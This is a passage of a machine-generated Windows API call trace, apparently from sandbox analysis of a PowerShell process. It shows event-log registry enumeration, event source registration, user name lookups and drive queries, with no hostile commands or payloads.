hKey=0x358, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x364) returned 0x0 [0089.623] RegOpenKeyExW (in: hKey=0x364, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x0) returned 0x2 [0089.623] RegOpenKeyExW (in: hKey=0x358, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x368) returned 0x0 [0089.623] RegOpenKeyExW (in: hKey=0x368, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x0) returned 0x2 [0089.623] RegOpenKeyExW (in: hKey=0x358, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x36c) returned 0x0 [0089.623] RegOpenKeyExW (in: hKey=0x36c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x0) returned 0x2 [0089.624] RegOpenKeyExW (in: hKey=0x358, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x370) returned 0x0 [0089.624] RegOpenKeyExW (in: hKey=0x370, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x0) returned 0x2 [0089.624] RegOpenKeyExW (in: hKey=0x358, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x0) returned 0x5 [0089.633] RegOpenKeyExW (in: hKey=0x358, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x374) returned 0x0 [0089.633] RegOpenKeyExW (in: hKey=0x374, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x0) returned 0x2 [0089.633] RegOpenKeyExW (in: hKey=0x358, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x378) returned 0x0 [0089.633] RegOpenKeyExW (in: hKey=0x378, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x37c) returned 0x0 [0089.633] RegCloseKey (hKey=0x37c) returned 0x0 [0089.633] RegCloseKey (hKey=0x358) returned 0x0 [0089.634] RegCloseKey (hKey=0x378) returned 0x0 [0089.634] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0xed248 | out: phkResult=0xed248*=0x378) returned 0x0 [0089.634] RegQueryInfoKeyW (in: hKey=0x378, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0xed1bc, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xed1b8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0xed1bc*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xed1b8*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.634] CoTaskMemFree (pv=0x0) [0089.634] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.634] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x0, lpName=0x3070c0, lpcchName=0xed248, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0xed248, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.635] CoTaskMemFree (pv=0x3070c0) [0089.635] CoTaskMemFree (pv=0x0) [0089.635] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.637] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x1, lpName=0x3070c0, lpcchName=0xed248, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0xed248, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.637] CoTaskMemFree (pv=0x3070c0) [0089.637] CoTaskMemFree (pv=0x0) [0089.637] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.637] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x2, lpName=0x3070c0, lpcchName=0xed248, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0xed248, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.637] CoTaskMemFree (pv=0x3070c0) [0089.637] CoTaskMemFree (pv=0x0) [0089.637] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.637] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x3, lpName=0x3070c0, lpcchName=0xed248, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0xed248, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.638] CoTaskMemFree (pv=0x3070c0) [0089.638] CoTaskMemFree (pv=0x0) [0089.638] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.638] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x4, lpName=0x3070c0, lpcchName=0xed248, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0xed248, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.638] CoTaskMemFree (pv=0x3070c0) [0089.638] CoTaskMemFree (pv=0x0) [0089.638] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.638] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x5, lpName=0x3070c0, lpcchName=0xed248, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0xed248, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.638] CoTaskMemFree (pv=0x3070c0) [0089.638] CoTaskMemFree (pv=0x0) [0089.638] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.638] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x6, lpName=0x3070c0, lpcchName=0xed248, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0xed248, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.638] CoTaskMemFree (pv=0x3070c0) [0089.638] CoTaskMemFree (pv=0x0) [0089.638] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.638] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x7, lpName=0x3070c0, lpcchName=0xed248, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0xed248, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.638] CoTaskMemFree (pv=0x3070c0) [0089.638] CoTaskMemFree (pv=0x0) [0089.638] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.638] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x8, lpName=0x3070c0, lpcchName=0xed248, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0xed248, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.638] CoTaskMemFree (pv=0x3070c0) [0089.638] CoTaskMemFree (pv=0x0) [0089.638] RegOpenKeyExW (in: hKey=0x378, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x358) returned 0x0 [0089.639] RegOpenKeyExW (in: hKey=0x358, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x0) returned 0x2 [0089.639] RegOpenKeyExW (in: hKey=0x378, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x37c) returned 0x0 [0089.639] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x0) returned 0x2 [0089.639] RegOpenKeyExW (in: hKey=0x378, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x380) returned 0x0 [0089.639] RegOpenKeyExW (in: hKey=0x380, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x0) returned 0x2 [0089.639] RegOpenKeyExW (in: hKey=0x378, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x384) returned 0x0 [0089.639] RegOpenKeyExW (in: hKey=0x384, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x0) returned 0x2 [0089.639] RegOpenKeyExW (in: hKey=0x378, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x388) returned 0x0 [0089.639] RegOpenKeyExW (in: hKey=0x388, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x0) returned 0x2 [0089.640] RegOpenKeyExW (in: hKey=0x378, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x38c) returned 0x0 [0089.640] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x0) returned 0x2 [0089.640] RegOpenKeyExW (in: hKey=0x378, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x0) returned 0x5 [0089.647] RegOpenKeyExW (in: hKey=0x378, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x390) returned 0x0 [0089.647] RegOpenKeyExW (in: hKey=0x390, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x0) returned 0x2 [0089.648] RegOpenKeyExW (in: hKey=0x378, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x394) returned 0x0 [0089.648] RegOpenKeyExW (in: hKey=0x394, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed2a8 | out: phkResult=0xed2a8*=0x398) returned 0x0 [0089.648] RegCloseKey (hKey=0x398) returned 0x0 [0089.648] RegCloseKey (hKey=0x378) returned 0x0 [0089.648] RegCloseKey (hKey=0x394) returned 0x0 [0089.650] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0xed218 | out: phkResult=0xed218*=0x394) returned 0x0 [0089.650] RegQueryInfoKeyW (in: hKey=0x394, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0xed18c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xed188, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0xed18c*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xed188*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.650] CoTaskMemFree (pv=0x0) [0089.650] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.650] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x0, lpName=0x3070c0, lpcchName=0xed218, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0xed218, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.650] CoTaskMemFree (pv=0x3070c0) [0089.650] CoTaskMemFree (pv=0x0) [0089.650] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.650] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x1, lpName=0x3070c0, lpcchName=0xed218, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0xed218, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.650] CoTaskMemFree (pv=0x3070c0) [0089.650] CoTaskMemFree (pv=0x0) [0089.650] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.650] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x2, lpName=0x3070c0, lpcchName=0xed218, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0xed218, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.650] CoTaskMemFree (pv=0x3070c0) [0089.650] CoTaskMemFree (pv=0x0) [0089.650] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.650] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x3, lpName=0x3070c0, lpcchName=0xed218, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0xed218, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.650] CoTaskMemFree (pv=0x3070c0) [0089.650] CoTaskMemFree (pv=0x0) [0089.651] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.651] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x4, lpName=0x3070c0, lpcchName=0xed218, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0xed218, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.651] CoTaskMemFree (pv=0x3070c0) [0089.651] CoTaskMemFree (pv=0x0) [0089.651] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.651] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x5, lpName=0x3070c0, lpcchName=0xed218, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0xed218, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.651] CoTaskMemFree (pv=0x3070c0) [0089.651] CoTaskMemFree (pv=0x0) [0089.651] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.651] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x6, lpName=0x3070c0, lpcchName=0xed218, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0xed218, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.651] CoTaskMemFree (pv=0x3070c0) [0089.651] CoTaskMemFree (pv=0x0) [0089.651] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.651] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x7, lpName=0x3070c0, lpcchName=0xed218, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0xed218, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.651] CoTaskMemFree (pv=0x3070c0) [0089.651] CoTaskMemFree (pv=0x0) [0089.651] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0089.651] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x8, lpName=0x3070c0, lpcchName=0xed218, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0xed218, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0089.651] CoTaskMemFree (pv=0x3070c0) [0089.651] CoTaskMemFree (pv=0x0) [0089.651] RegOpenKeyExW (in: hKey=0x394, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0xed278 | out: phkResult=0xed278*=0x378) returned 0x0 [0089.652] RegOpenKeyExW (in: hKey=0x378, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed278 | out: phkResult=0xed278*=0x0) returned 0x2 [0089.652] RegOpenKeyExW (in: hKey=0x394, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0xed278 | out: phkResult=0xed278*=0x398) returned 0x0 [0089.652] RegOpenKeyExW (in: hKey=0x398, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed278 | out: phkResult=0xed278*=0x0) returned 0x2 [0089.652] RegOpenKeyExW (in: hKey=0x394, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0xed278 | out: phkResult=0xed278*=0x39c) returned 0x0 [0089.652] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed278 | out: phkResult=0xed278*=0x0) returned 0x2 [0089.652] RegOpenKeyExW (in: hKey=0x394, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0xed278 | out: phkResult=0xed278*=0x3a0) returned 0x0 [0089.652] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed278 | out: phkResult=0xed278*=0x0) returned 0x2 [0089.652] RegOpenKeyExW (in: hKey=0x394, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0xed278 | out: phkResult=0xed278*=0x3a4) returned 0x0 [0089.652] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed278 | out: phkResult=0xed278*=0x0) returned 0x2 [0089.652] RegOpenKeyExW (in: hKey=0x394, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0xed278 | out: phkResult=0xed278*=0x3a8) returned 0x0 [0089.653] RegOpenKeyExW (in: hKey=0x3a8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed278 | out: phkResult=0xed278*=0x0) returned 0x2 [0089.653] RegOpenKeyExW (in: hKey=0x394, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0xed278 | out: phkResult=0xed278*=0x0) returned 0x5 [0089.654] RegOpenKeyExW (in: hKey=0x394, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0xed278 | out: phkResult=0xed278*=0x3ac) returned 0x0 [0089.654] RegOpenKeyExW (in: hKey=0x3ac, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed278 | out: phkResult=0xed278*=0x0) returned 0x2 [0089.654] RegOpenKeyExW (in: hKey=0x394, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed278 | out: phkResult=0xed278*=0x3b0) returned 0x0 [0089.654] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed278 | out: phkResult=0xed278*=0x3b4) returned 0x0 [0089.655] RegCloseKey (hKey=0x3b4) returned 0x0 [0089.655] RegCloseKey (hKey=0x394) returned 0x0 [0089.655] RegCloseKey (hKey=0x3b0) returned 0x0 [0089.669] RegisterEventSourceW (lpUNCServerName=".", lpSourceName="PowerShell") returned 0x1b870008 [0089.671] ReportEventW (hEventLog=0x1b870008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3c17f10*="WSMan", lpRawData=0x3c17c80) returned 1 [0089.676] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0089.676] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0089.677] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b3f2850, nSize=0xed508 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xed508) returned 0x1 [0089.677] GetUserNameW (in: lpBuffer=0x3070c0, pcbBuffer=0xed548 | out: lpBuffer="aETAdzjz", pcbBuffer=0xed548) returned 1 [0089.677] ReportEventW (hEventLog=0x1b870008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3c1d3f8*="Alias", lpRawData=0x3c1d188) returned 1 [0089.678] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0089.678] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0089.679] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b3f2850, nSize=0xed508 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xed508) returned 0x1 [0089.679] GetUserNameW (in: lpBuffer=0x3070c0, pcbBuffer=0xed548 | out: lpBuffer="aETAdzjz", pcbBuffer=0xed548) returned 1 [0089.679] ReportEventW (hEventLog=0x1b870008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3c229a0*="Environment", lpRawData=0x3c22730) returned 1 [0089.680] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0089.680] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0089.680] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0089.680] GetEnvironmentVariableW (in: lpName="HOMEDRIVE", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0089.681] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0xed0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0089.681] SetErrorMode (uMode=0x1) returned 0x1 [0089.681] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz" (normalized: "c:\\users\\aetadzjz"), fInfoLevelId=0x0, lpFileInformation=0xed2c0 | out: lpFileInformation=0xed2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2329edc0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x7d929a80, ftLastAccessTime.dwHighDateTime=0x1d2f182, ftLastWriteTime.dwLowDateTime=0x7d929a80, ftLastWriteTime.dwHighDateTime=0x1d2f182, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0089.681] SetErrorMode (uMode=0x1) returned 0x1 [0089.690] GetLogicalDrives () returned 0x4 [0089.709] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0xece20, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0089.710] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0089.710] SetErrorMode (uMode=0x1) returned 0x1 [0089.710] CoTaskMemAlloc (cb=0x68) returned 0x1b3ce530 [0089.710] CoTaskMemAlloc (cb=0x68) returned 0x1b3ce5a0 [0089.711] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x1b3ce530, nVolumeNameSize=0x32, lpVolumeSerialNumber=0xed290, lpMaximumComponentLength=0xed28c, lpFileSystemFlags=0xed288, lpFileSystemNameBuffer=0x1b3ce5a0, nFileSystemNameSize=0x32 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0xed290*=0x705ba84c, lpMaximumComponentLength=0xed28c*=0xff, lpFileSystemFlags=0xed288*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0089.711] CoTaskMemFree (pv=0x1b3ce530) [0089.711] CoTaskMemFree (pv=0x1b3ce5a0) [0089.711] SetErrorMode (uMode=0x1) returned 0x1 [0089.711] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0089.712] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0xecfd0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0089.712] SetErrorMode (uMode=0x1) returned 0x1 [0089.712] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0xed230 | out: lpFileInformation=0xed230*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xffcd720, ftLastAccessTime.dwHighDateTime=0x1d35a45, ftLastWriteTime.dwLowDateTime=0xffcd720, ftLastWriteTime.dwHighDateTime=0x1d35a45, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0089.712] SetErrorMode (uMode=0x1) returned 0x1 [0089.712] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0xecfd0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0089.712] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0xece80, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0089.713] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0089.713] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0xecdb0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0089.713] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0089.714] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0xece00, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0089.714] SetErrorMode (uMode=0x1) returned 0x1 [0089.714] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0xed060 | out: lpFileInformation=0xed060*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xffcd720, ftLastAccessTime.dwHighDateTime=0x1d35a45, ftLastWriteTime.dwLowDateTime=0xffcd720, ftLastWriteTime.dwHighDateTime=0x1d35a45, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0089.714] SetErrorMode (uMode=0x1) returned 0x1 [0089.714] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0xece00, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0089.714] SetErrorMode (uMode=0x1) returned 0x1 [0089.714] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0xed060 | out: lpFileInformation=0xed060*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xffcd720, ftLastAccessTime.dwHighDateTime=0x1d35a45, ftLastWriteTime.dwLowDateTime=0xffcd720, ftLastWriteTime.dwHighDateTime=0x1d35a45, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0089.714] SetErrorMode (uMode=0x1) returned 0x1 [0089.715] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0xecea0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0089.715] SetErrorMode (uMode=0x1) returned 0x1 [0089.715] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0xed100 | out: lpFileInformation=0xed100*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xffcd720, ftLastAccessTime.dwHighDateTime=0x1d35a45, ftLastWriteTime.dwLowDateTime=0xffcd720, ftLastWriteTime.dwHighDateTime=0x1d35a45, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0089.715] SetErrorMode (uMode=0x1) returned 0x1 [0089.715] CoTaskMemAlloc (cb=0x804) returned 0x1b3f2850 [0089.715] GetUserNameExW (in: NameFormat=0x2, 